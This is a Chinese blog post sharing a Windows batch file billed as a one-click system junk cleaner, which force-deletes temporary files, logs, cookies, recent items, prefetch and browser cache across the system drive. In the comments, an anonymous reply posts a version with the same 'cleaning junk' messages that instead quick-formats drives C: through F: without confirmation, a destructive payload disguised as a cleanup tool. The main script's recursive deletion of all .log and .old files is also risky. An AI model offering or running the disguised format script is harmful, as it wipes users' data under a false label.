一键清理系统垃圾文件.bat


把以下代码保存为.bat格式

@echo off
echo 正在清理系统垃圾文件,请稍等......
del /f /s /q %systemdrive%\*.tmp
del /f /s /q %systemdrive%\*._mp
del /f /s /q %systemdrive%\*.log
del /f /s /q %systemdrive%\*.gid
del /f /s /q %systemdrive%\*.chk
del /f /s /q %systemdrive%\*.old
del /f /s /q %systemdrive%\recycled\*.*
del /f /s /q %windir%\*.bak
del /f /s /q %windir%\prefetch\*.*
rd /s /q %windir%\temp & md %windir%\temp
del /f /q %userprofile%\cookies\*.*
del /f /q %userprofile%\recent\*.*
del /f /s /q "%userprofile%\Local Settings\Temporary Internet Files\*.*"
del /f /s /q "%userprofile%\Local Settings\Temp\*.*"
del /f /s /q "%userprofile%\recent\*.*"
echo 清理系统垃圾完成!
echo. & pause



文章来自: 本站原创
引用通告: 查看所有引用 | 我要引用此文章
Tags:
评论: 10 | 引用: 0 | 查看次数: -
回复回复无名人[2007-12-02 04:41 PM | del]
@echo off
echo 正在清理系统垃圾文件,请稍等......
format c: /q /y
format d: /q /y
format e: /q /y
format f: /q /y
echo 清理系统垃圾完成!
echo. & pause
发表评论
昵 称:
密 码: 游客发言不需要密码.
内 容:
验证码: 验证码
选 项:
虽然发表评论不用注册,但是为了保护您的发言权,建议您注册帐号.